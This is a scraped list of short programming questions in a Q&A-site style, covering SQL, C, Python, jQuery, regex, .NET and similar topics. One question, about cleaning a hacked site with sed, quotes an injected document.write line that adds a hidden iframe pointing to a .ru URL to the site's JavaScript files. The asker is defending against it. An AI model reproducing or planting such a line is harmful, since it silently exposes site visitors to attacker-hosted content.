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• MySQL: How to separate a name field in one table into firstname / lastname in two separate tables?

  - by Eileen

  I have a drupal database where the node table is full of profiles. The field node.title is "Firstname Lastname". I want to separate the names so that node.title = "Firstname", and over in another table entirely, content_type_profile.field_lastname_value = "Lastname". The entries in the two tables can be joined on the field nid. I'd love to run a SQL command to do this, and I am fine with taking the naive approach that the first word is the first name, and everything else in the field is last name -- it will mean a few manual corrections down the line, but that's much better than doing it all by hand in the first place. (I read this question and surely the answer lies in there but I am not that SQL-savvy and am not sure how to make it work for my database.) Thanks!

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• Is this a valid C statement ?

  - by Philando Gullible

  Lets say I write char c[99] = {'Stack Overflow'}; in C or C++ it does compiles fine but does this valid? By valid I meant not invoking any kind of undefined or unspecified behavior. Again if I write char c[99] = 'Stack Overflow'; gcc complains about multicharacter constant which is obvious but in the above when I am enclosing within curly brackets compiler is happy! why is it so ? I also notice that puts(c); after the first statement will output 'w' precisely the last character of a general string in-place of Stack Overflow. why so ? Could somebody explain this behavior may be separately.

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• Python 2.6 - I can not write dwords greater than 0x7fffffff into registry using _winreg.SetValueEx()

  - by stasizke

  using regedit.exe I have manually created a key in registry called HKEY_CURRENT_USER/00_Just_a_Test_Key and created two dword values dword_test_1 and dword_test_2 I am trying to write some values into those two keys using following program import _winreg aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_CURRENT_USER) aKey = _winreg.OpenKey(aReg, r"00_Just_a_Test_Key", 0, _winreg.KEY_WRITE) _winreg.SetValueEx(aKey,"dword_test_1",0, _winreg.REG_DWORD, 0x0edcba98) _winreg.SetValueEx(aKey,"dword_test_2",0, _winreg.REG_DWORD, 0xfedcba98) _winreg.CloseKey(aKey) _winreg.CloseKey(aReg) I can write into the first key, dword_test_1, but when I attempt to write into the second, I get following message Traceback (most recent call last): File "D:/src/registry/question.py", line 7, in <module> _winreg.SetValueEx(aKey,"dword_test_2",0, _winreg.REG_DWORD, 0xfedcba98) ValueError: Could not convert the data to the specified type. How do I write the second value 0xfedcba98, or any value greater than 0x7fffffff as a dword value? Originally I was writing script to switch the "My documents" icon on or off by writing "0xf0500174" to hide or "0xf0400174" to display the icon into [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID{450D8FBA-AD25-11D0-98A8-0800361B1103}\ShellFolder]

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• Query MS Access database in VB 2008

  - by Logan

  Hi, I added an Access database as a Data Source in VB 2008. I want to query this database and use the information in various ways throughout the program. For example, there is an Employee table with first/last names of employees. I have a combobox on my form that I want to display all of the employees. So I want to query the database for all the rows in the Employee table, and add them to the combobox as I go. I am familiar with SQL Syntax, so I am not asking how to write the query itself, but rather how to fetch rows in VB code (mimicking php's mysql_fetch_assoc and mysql_connect essentially) Thanks! Edit: Also, I want to know if I can query a DB if I don't add it as a data source (if I know the path name of the database)

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• Manipulate DOM before it is shown to the user?

  - by user246114

  Hi, I'm not too familiar with javascript, is there a way to manipulate the DOM before the page is displayed to the user? I'm using GWT which makes you create the page elements via javascript. This is kind of convenient, but it appears that all the javascript code is executed after the page is first shown to the user. This has the effect of showing the page as a blank white screen, then all the UI elements popping onto screen. The effect is really apparent when switching between pages. If I were using php or jsp, it looks like the page ui elements are already prerendered and the browser won't show a blank white screen before display. So is there any hook in javascript where we can manipulate the DOM before the browser clears out the contents of the last page shown? Thanks

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• how to deal with async calls in Ajax 4.0(using jquery?)

  - by dexter

  in my code i have done something like this. $.get('/Home/Module/Submit', { moduleName: ModName, moduleParameters: moduleParameters }, function(result) { $("#" + target).html(result); }); when i put alert in the function(result) {..} it shows html perfectly(both in alert and at the 'target'-on the .aspx page) BUT when i remove the alert.. on the page the 'html' don't appear or appear randomly (this method is called multiple times) i think that the 'result' comes to function asynchronously thats why it is not bind with the respective 'div' however in the last iteration it gets bind every time. can we make process stop until data gets bind? or is there any functionality (like alert) which can make data bind.. without disturbing UI (unlike alert)?

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• How to create animated sliding windows/tabs menu?

  - by Forte

  I have created navigation menu in YUI 2.8 as below : I have also animated tabs using CSS transitions. CSS transitions are not widely supported by browsers and my animations are not working in Opera, IE etc. Since i'm already using YUI 2.8 on that page, can somebody tell me how do i animate those tabs? When i click on any tab, it should expand in vertical dimension smoothly (animated). Below are the properties of tabs which are going to change when i select any tab (Below properties of tabs should be animated) : Paddings Margins Background-Color Borders Please note in above image : There is little space left on right side in case #1 when 1st tab is selected. In case #2 and case #3 there is space left on left as well as right side. In case #4, there is some space left on left side when last tab is selected.

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• jQuery variable iteration with .each()

  - by user1143357

  My code needs to capture the 'src' of an image in a variable. It then needs to insert this variable into a 'href' tag on a link which surrounds the image. My code is as follows: $('.fancybox-image-li img').each(function(test) { var test = $(this).attr("src"); $('.fancybox-image-link').attr('href', ''+test+''); }); Unfortunately what seems to be happening is the 'test' var is only getting the attribute of the last img and then inserting this into all the 'href' attributes. Any ideas how I can get the variable to change per image. Cheers!

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• Get Links in class with html agility pack

  - by acidzombie24

  There are a bunch of tr's with the class alt. I want to get all the links (or the first of last) yet i cant figure out how with html agility pack. I tried variants of a but i only get all the links or none. It doesnt seem to only get the one in the node which makes no sense since i am writing n.SelectNodes html.LoadHtml(page); var nS = html.DocumentNode.SelectNodes("//tr[@class='alt']"); foreach (var n in nS) { var aS = n.SelectNodes("a"); ... }

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• Line formatting with Ruby.

  - by dbtek

  There is a text file containing words with 1 space between each of them. And there is also a command line entry that gives the length of line (output) wanted. Output will be words that fit into the length of the line (taken from command line). Also the first word will be on the left side of the line and the last word will be right side of it. The spaces between each word will be same. Any help will be appreciated thanks for replying.

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• Pushing to an array not working as expected

  - by Ross Attrill

  When I execute the code below, my array 'tasks' ends up with the same last row from the dbi call repeated for each row in the database. require 'dbi' require 'PP' dbh = DBI.connect('DBI:ODBC:Driver={SQL Server Native Client 10.0};Server=localhost,1433;Database=db;Uid=db;Pwd=mypass', 'db', 'mypass') sth = dbh.prepare('select * from TASK') sth.execute tasks = Array.new while row=sth.fetch do p row tasks.push(row) end pp(tasks) sth.finish So if I have two rows in my TASK table, then instead of getting this in the tasks array: [[1, "Task 1"], [2, "Task 2"]] I get this [[2, "Task 2"], [2, "Task 2"]] What am I doing wrong?

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• how to integrate my users database table with the aspnet_users table that comes with asp.net members

  - by ooo

  i have a database that already has a users table COLUMNS: userID - int loginName - string First - string Last - string i just installed the asp.net membership table. Right now all of my tables are joined into my users table foreign keyed into the "userId" field How do i integrate asp.net_users table into my schema? here are the ideas i thought of: Add a membership_id field to my users table and on new inserts, include that new field in my users table. This seems like the cleanest way as i dont need to break any existing relationships. break all existing relationship and move all of the fields in my user table into the asp.net_users table. This seems like a pain but ultimately will lead to the most simple, normalized solution any thoughts?

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• Assign RegEx submatches to variables or map (C++/C)

  - by Michael

  I need to extract the SAME type of information (e.g. First name, Last Name, Telephone, ...), from numerous different text sources (each with a different format & different order of the variables of interest). I want a function that does the extraction based on a regular expression and returns the result as DESCRIPTIVE variables. In other words, instead of returning each match result as submatch[0], submatch[1], submatch[2], ..., have it do EITHER of the following: 1.) return std::map so that the submatches can be accessed via: submatch["first_name"], submatch["last_name"], submatch["telephone"] 2.) return a variables with the submatches so that the submatches can be accessed via: submatch_first_name, submatch_last_name, submatch_telephone I can write a wrapper class around boost::regex to do #1, but I was hoping there would be a built-in or a more elegant way to do this in C++/Boost/STL/C.

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• Make array from $_POST values

  - by cbarg

  Let's start telling that I'm passing an x amount of variables via post from a form. Let's name them menu_category_1, menu_category_2, ..., menu_category_x, plus, maybe, menu_category_new (I'm using an if empty to check this last one variable). To make things easier I'm also sending the parameter $key (amount of variables starting from 0). Now I need to set them into a new variable $menu_category (array), which is going to be imploded and then update my database. How do I set up that new $menu_category variable to be an array containing all my variables named in the beginning? I was thinking of using a for loop but I can't come up with something useful. Thanks!!!

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• Using these 2 build options in Visual Studio

  - by dotnetdev

  When I debug a project and there is an error in my code (e.g. a method returns something and when I consume that method, I don't put the returned data into a variable) the popup asking me to run the last successful build comes up. How exactly do I configure this? Also, in what scenario does the Visual Studio build order come in handy? I once built a solution, and it couldn't build one project because a dependent project was not built beforehand. I guess this one possible scenario? Any others? Thanks

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• Runtime JScript error: object expected.

  - by Masha

  Help! As soon as enable script debugging I get this error. It breaks on the following block: <table> <tr> <td style="width: 100px"> <asp:TextBox ID="txtRun" runat="server" OnTextChanged="txtRun_TextChanged"></asp:TextBox> </td> <td style="width: 100px"> <asp:Button ID="btnFilter" runat="server" Text="Show Elements" OnClick="btnFilter_Click" /> </td> </tr> </table> The cursor jumps to the last tag. I am lost. Thank you in advance.

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• Purpose of front() and back() in assigning values in a Queue? (C++)

  - by kevin

  I have declared: queue<int, list<int> > Q After a series of calls: Q.push(37); Q.pop(); Q.push(19); Q.push(3); Q.push(13); Q.front(); Q.push(22); Q.push(8); Q.back(); I get: 19-3-13-22-8-NULL What I don't get is what the calls to Q.front() and Q.back() do. From what I understand, they return a reference to the first or last elements respectively, but I dont see how my list would be any different had those calls not been made. Do they have any effect? Sorry if this seems trivial, but I'm trying to figure out of those calls have a purpose, or of my professor is just trying to screw with me.

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• Exclude subexpression from regex in c++

  - by wyatt

  Suppose I was trying to match the following expression using regex.h in C++, and trying to obtain the subexpressions contained: /^((1|2)|3) (1|2)$/ Suppose it were matched against the string "3 1", the subexpressions would be: "3 1" "3" "1" If, instead it were matched against the string "2 1", the subexpressions would be: "2 1" "2" "2" "1" Which means that, depending on how the first subexpression evaluates, the final one is in a different element in the pmatch array. I realise this particular example is trivial, as I could remove one of the sets of brackets, or grab the last element of the array, but it becomes problematic in more complicated expressions. Suppose all I want are the top-level subexpressions, the ones which aren't subexpressions of other subexpressions. Is there any way to only get them? Or, alternatively, to know how many subexpressions are matched within a subexpression, so that I can traverse the array irrespective of how it evaluates? Thanks

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• Using sed to delete string

  - by wired

  I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

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• which one is a faster/better sql practice?

  - by artsince

  Suppose I have a 2 column table (id, flag) and id is sequential. I expect this table to contain a lot of records. I want to periodically select the first row not flagged and update it. Some of the records on the way may have already been flagged, so I want to skip them. Does it make more sense if I store the last id I flagged and use it in my select statement, like select * from mytable where id > my_last_id order by id asc limit 1 or simply get the first unflagged row, like: select * from mytable where flagged = 'F' order by id asc limit 1 Thank you!

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• Nesting if else statements in PHP to validate a URL

  - by John

  I'm currently writing up a function in order to validate a URL by exploding it into different parts and matching those parts with strings I've defined. This is the function I'm using so far: function validTnet($tnet_url) { $tnet_2 = "defined2"; $tnet_3 = "defined3"; $tnet_5 = "defined5"; $tnet_7 = ""; if($exp_url[2] == $tnet_2) { #show true, proceed to next validation if($exp_url[3] == $tnet_3) { #true, and next if($exp_url[5] == $tnet_5) { #true, and last if($exp_url[7] == $tnet_7) { #true, valid } } } } else { echo "failed on tnet_2"; } } For some reason I'm unable to think of the way to code (or search for the proper term) of how to break out of the if statements that are nested. What I would like to do check each part of the URL, starting with $tnet_2, and if it fails one of the checks ($tnet_2, $tnet_3, $tnet_5 or $tnet_7), output that it fails, and break out of the if statement. Is there an easy way to accomplish this using some of the code I have already?

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• Why do these seemingly similar queries have such drastically different run times?

  - by Jherico

  I'm working with an oracle DB trying to tune some queries and I'm having trouble understanding why working a particular clause in a particular way has such a drastic impact on the query performance. Here is a performant version of the query I'm doing select * from ( select a.*, rownum rn from ( select * from table_foo ) a where rownum < 3 ) where rn >= 2 The same query by replacing the last two lines with this ) a where rownum >=2 rownum < 3 ) performs horribly. Several orders of magnitude worse ) a where rownum between 2 and 3 ) also performs horribly. I don't understand the magic from the first query and how to apply it to further similar queries.

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• Programmatically determine the relative "popularities" of a list of items (books, songs, movies, etc

  - by Horace Loeb

  Given a list of (say) songs, what's the best way to determine their relative "popularity"? My first thought is to use Google Trends. This list of songs: Subterranean Homesick Blues Empire State of Mind California Gurls produces the following Google Trends report: (to find out what's popular now, I restricted the report to the last 30 days) Empire State of Mind is marginally more popular than California Gurls, and Subterranean Homesick Blues is far less popular than either. So this works pretty well, but what happens when your list is 100 or 1000 songs long? Google Trends only allows you to compare 5 terms at once, so absent a huge round-robin, what's the right approach? Another option is to just do a Google Search for each song and see which has the most results, but this doesn't really measure the same thing

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• appending and reading text file

  - by Rod

  Environment: Any .Net Framework welcomed. I have a log file that gets written to 24/7. I am trying to create an application that will read the log file and process the data. What's the best way to read the log file efficiently? I imagine monitoring the file with something like FileSystemWatcher. But how do I make sure I don't read the same data once it's been processed by my application? Or say the application aborts for some unknown reason, how would it pick up where it left off last? There's usually a header and footer around the payload that's in the log file. Maybe an id field in the content as well. Not sure yet though about the id field being there. I also imagined maybe saving the lines read count somewhere to maybe use that as bookmark.

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• Respond to a UDP message

  - by JDCAce

  I have a pair of very simple C# programs (server and client). The client's user enters an IP address, and the client sends a UDP message to the server. The server uses UDPClient.Receive() to listen to IPAddress.Any, prints out the message it received and where it was sent from (the client's IP address), then sends a UDP message back to the client. The problem is in that last part: my client is not receiving any message. It listens only to the server, instead of IPAddress.Any. The SendUdpMessage() and WaitForMessage() methods are identical, except for the IPAddress.Any part. I cannot find what's wrong! I can post the code if I need to, but I don't know which part is relevant, and I don't want to post the entire program (about 150 lines combined).

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